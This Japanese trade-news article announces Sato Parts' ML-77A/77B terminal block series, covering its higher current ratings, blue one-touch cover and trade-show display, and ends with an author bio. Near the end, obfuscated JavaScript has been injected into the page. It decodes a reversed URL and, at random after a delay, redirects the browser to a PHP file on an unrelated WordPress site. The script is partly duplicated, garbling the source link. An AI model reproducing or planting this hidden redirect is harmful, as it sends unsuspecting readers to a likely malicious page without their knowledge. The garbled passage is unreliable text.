サトーパーツ、ネジ式パネル貫通・プリント基板実装端子台 新シリーズ発売

サトーパーツ、ネジ式パネル貫通・プリント基板実装端子台 新シリーズ発売

保護カバー色をブルーに変更
定格電流も5Aアップ

サトーパーツ(東京都文京区)は、ネジ式パネル貫通・プリント基板実装端子台の新シリーズとして「ML-77A/77Bシリーズ」を9月から販売を開始した。

スクリーンショット 2018-10-02 11.47.53

▲ネジ式パネル貫通・プリント基板実装端子台「ML-77B-BYF」

同社の中核機種「ML-41/51シリーズ」の定格アップと端子カバーの改良で省スペース化と省工数を実現している。

端子間ピッチ7.62ミリのML-77Aは定格電流を従来の10Aから15Aに、10.16ミリのML-77Bを同20から25Aにアップさせた。端子の沿面距離の工夫で5Aアップを実現したもので、より大電流用途での使用が可能になる。

また、配線端子部を保護するカバーの色を透明からブルーに変更するとともに、従来はカバーの両端を端子台にねじ止めしていたのを、カバー本体が端子台にワンタッチで取り付けできる保持構造にした。これにより、これまでカバー両端のねじ止め2極分が省スぺ-スになり、ねじ止め工数も削減できる。ワンタッチカバーにはスライドを防止する凹加工が設けられている。

 

しかも、ブルーカバーにしたことで、透明色カバーのように、床などと一体化することでの見えづらさが解消され、紛失などを防ぐことにもつながる。ブルーカバーは他の機種にも今後採用していく。さらに、より安全な背面絶縁壁がつき、両サイドのデザインもすっきりしている。

極数は、パネル貫通タイプは1~6、プリント基板タイプは2~8。UL/TUV規格取得。同社では、ユーザー視点で改良することで、付加価値を高めた製品として拡販を進めていく方針。

なお、同シリーズは、10月3日から開催の「関西ものづくりワールド」の同社ブースで展示している。

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toparts.co.jp/” target=”_blank”>参考:サトーパーツ


1975年群馬県生まれ。明治大学院修了後、エレクトロニクス業界専門紙・電波新聞社入社。名古屋支局、北陸支局長を経て、2007年日本最大の製造業ポータルサイト「イプロス」で編集長を務める。2015年3月〜「オートメーション新聞」編集長(現職)。趣味は釣りとダーツ。